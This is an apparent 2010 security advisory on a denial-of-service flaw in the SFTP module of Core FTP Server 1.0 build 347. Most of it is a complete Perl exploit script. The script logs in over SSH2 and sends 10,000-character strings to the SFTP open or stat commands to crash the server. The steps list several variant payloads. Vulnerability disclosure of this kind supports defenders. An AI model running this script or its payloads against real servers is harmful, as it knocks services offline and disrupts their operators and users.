Date of Discovery:
6-Jun-2010

Credits:
leinakesi[at]gmail.com

Vendor: 
Core FTP

Affected:
Core FTP Server 1.0 build 347. 
Earlier versions may also be affected.

Overview:
Core FTP Server is software for Windows that allows you to exchange files with others via networks and the internet. Core FTP Server supports SSL/TLS (FTPS), SFTP (SSH2), and clear FTP modes. Several Denial of Service vulnerabilities exist in SFTP module of Core FTP Server. The unsafe commands include "open","stat", which can not handle overlength strings properly.

Details:
If you could log on the server successfully, take the following steps and the ftp server will crash which would lead to Denial of Service attack:
#initialize $FUZZ = "A" x 10000
1.  $ssh2 = Net::SSH2->new();
2.  $ssh2->connect($server, $port);
3.  $ssh2->auth_password($user, $pass);
4.  $sftp = $ssh2->sftp();
#there are several ways to compromise the server, I list them here as 5.1, 5.2, and etc. ...
5.1  $o1 = $sftp->open($FUZZ);
5.2  $o2 = $sftp->open("test", "O_RDWR", $FUZZ);
5.3  $o3 = $sftp->open("test", $FUZZ, 0666);$o3 = $sftp->open("test", $FUZZ, 0666); #twice
5.4  $st = $sftp->stat($FUZZ);
6  $ssh2->disconnect();

Severity:
High

Exploit example:

#!/usr/bin/perl
#leinakesi[at]gmail.com

use Net::SSH2;
use Getopt::Std;


$FUZZ = "A" x 10000; 

getopts('S:P:u:p:', \%opts);
$server = $opts{'S'}; $port = $opts{'P'}; $user = $opts{'u'}; $pass = $opts{'p'};

if(!defined($server) || !defined($port) || !defined($user) || !defined($pass) )
{
  print "usage:\n\tperl  test.pl -S [IP] -P [port] -u [user] -p [password]\nexample:\n";
  print "\tperl  test.pl -S 192.168.48.114 -P 22 -u chloe -p 111111\n";
  exit(0);
}

$ssh2 = Net::SSH2->new();
$ssh2->connect($server, $port) || die "can not connect the server, please check.\n";
$ssh2->auth_password($user, $pass) || die "you sure user name and password are correct?\n";
$sftp = $ssh2->sftp();

#any command of the following would cause Core FTP server crash.
$o1 = $sftp->open($FUZZ);
#$o2 = $sftp->open("test", "O_RDWR", $FUZZ);
#$o3 = $sftp->open("test", $FUZZ, 0666);$o3 = $sftp->open("test", $FUZZ, 0666);
#$st = $sftp->stat($FUZZ);

$ssh2->disconnect();